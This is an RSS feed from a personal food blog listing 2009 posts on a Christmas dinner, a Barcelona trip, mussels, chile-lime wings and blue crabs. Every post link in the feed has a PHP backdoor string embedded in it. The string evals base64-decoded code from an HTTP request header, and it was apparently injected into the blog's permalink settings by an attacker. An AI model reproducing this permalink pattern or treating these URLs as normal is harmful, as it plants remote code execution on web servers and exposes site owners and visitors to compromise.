<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Blog &#187; recipes</title>
	<atom:link href="http://aaronlmorrison.com/foodblog/index.php/category/recipes/feed/" rel="self" type="application/rss+xml" />
	<link>http://aaronlmorrison.com/foodblog</link>
	<description>Food - Journalism - Life</description>
	<lastBuildDate>Wed, 26 Oct 2011 20:25:09 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Christmas Dinner</title>
		<link>http://aaronlmorrison.com/foodblog/2009/12/25/christmas-dinner/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2009/12/25/christmas-dinner/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 25 Dec 2009 22:03:30 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[musings]]></category>
		<category><![CDATA[recipes]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=495</guid>
		<description><![CDATA[Once again, my cousins Tangie and Damond pulled out all the stops. Great food, great music, great company.
Here&#8217;s the menu, and the pictures follow it. (I&#8217;ll try to get the recipe for the fish and leg of lamb posted here.)
Leg of Lamb (Julia Child recipe)
New Orleans Baked Fish
Seafood cornbread dressing
Scalloped potatoes
Sweet potato casserole
Brussel sprouts
Kale
Cranberry sauce
Wine [...]]]></description>
		<wfw:commentRss>http://aaronlmorrison.com/foodblog/2009/12/25/christmas-dinner/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Barcelona: Day Two</title>
		<link>http://aaronlmorrison.com/foodblog/2009/11/08/barcelona-day-two/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2009/11/08/barcelona-day-two/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 16:12:17 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[recipes]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=410</guid>
		<description><![CDATA[Today was the first time I really got to experience the streets of the city. A few of us woke up in the middle of the day (nice to do that on vacation) and walked to Placa de la Bouqueria. This is one of those open air markets that Anthony Bourdain and his kind are [...]]]></description>
		<wfw:commentRss>http://aaronlmorrison.com/foodblog/2009/11/08/barcelona-day-two/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Cooking: Volume 2</title>
		<link>http://aaronlmorrison.com/foodblog/2009/06/07/cooking-volume-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2009/06/07/cooking-volume-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 18:01:51 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[recipes]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=238</guid>
		<description><![CDATA[
This is the second time I cooked dinner for the my parents. I&#8217;ve cooked the chicken recipe once before with a fellow food enthusiast. Have any variations on these recipes? Leave them in a comment.

Chile-Lime Crab Salad with Tomato and Avocado
(Recipe)
Ingedient list: Fresh lime juice, extra-virgin olive oil, vegetable oil, jalapeño, cilantro, honey, garlic, black [...]]]></description>
		<wfw:commentRss>http://aaronlmorrison.com/foodblog/2009/06/07/cooking-volume-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Snacks: Mussels</title>
		<link>http://aaronlmorrison.com/foodblog/2009/06/07/snacks-mussels/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2009/06/07/snacks-mussels/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 14:22:30 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[recipes]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=230</guid>
		<description><![CDATA[
Oh, how I love mussels and fries. It&#8217;s the best lunch/snack. And it&#8217;s not too expensive to make, although a little labor intensive. (Wish I had a better picture of it for you. This is taken with my iphone.)
Ingredients: olive oil, leeks, shallots, garlic, mussels, white wine, lemon, salt and freshly ground black pepper, butter, [...]]]></description>
		<wfw:commentRss>http://aaronlmorrison.com/foodblog/2009/06/07/snacks-mussels/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Snacks: Chile-lime chicken wings</title>
		<link>http://aaronlmorrison.com/foodblog/2009/04/16/snacks-chile-lime-chicken-wings/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2009/04/16/snacks-chile-lime-chicken-wings/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 15:43:02 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[recipes]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=160</guid>
		<description><![CDATA[

(Photo and food presentation by ALM)
I&#8217;m a little embarrassed to say I ripped this recipe from the Tyler Florence&#8217;s Ultimate TV series. But I&#8217;m unashamed to say how good it is&#8230;
His recipe calls for baking the chicken before glazing it with the chile-lime butter sauce. Instead, I deep fry the chicken pieces in hot veggie [...]]]></description>
		<wfw:commentRss>http://aaronlmorrison.com/foodblog/2009/04/16/snacks-chile-lime-chicken-wings/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Snacks: Soft Shell (Blue) Crabs</title>
		<link>http://aaronlmorrison.com/foodblog/2009/03/07/snacks-soft-shell-blue-crabs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2009/03/07/snacks-soft-shell-blue-crabs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 19:12:34 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[recipes]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=68</guid>
		<description><![CDATA[While in New York a few weeks ago, my cousins and I stumbled into a seafood market in Chinatown. I saw the live blue crabs and couldn&#8217;t resist. Within seconds, we had all agreed to having a major crab feast for dinner that night. I was in charge of the blue crabs.

Here&#8217;s the recipe and [...]]]></description>
		<wfw:commentRss>http://aaronlmorrison.com/foodblog/2009/03/07/snacks-soft-shell-blue-crabs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cooking: Volume 1</title>
		<link>http://aaronlmorrison.com/foodblog/2009/03/07/cooking-volume-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2009/03/07/cooking-volume-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 17:41:10 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[recipes]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=65</guid>
		<description><![CDATA[Here&#8217;s a few photos from a dinner I cooked for my parents and sister a few months back. I&#8217;ve posted links to the recipes and ingredient lists for each. I must emphasize cooking the scallop dish last, as it doesn&#8217;t take very long at all. And&#8230;all of it turned out good.

Chile-Lime Crab Salad with Tomato [...]]]></description>
		<wfw:commentRss>http://aaronlmorrison.com/foodblog/2009/03/07/cooking-volume-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

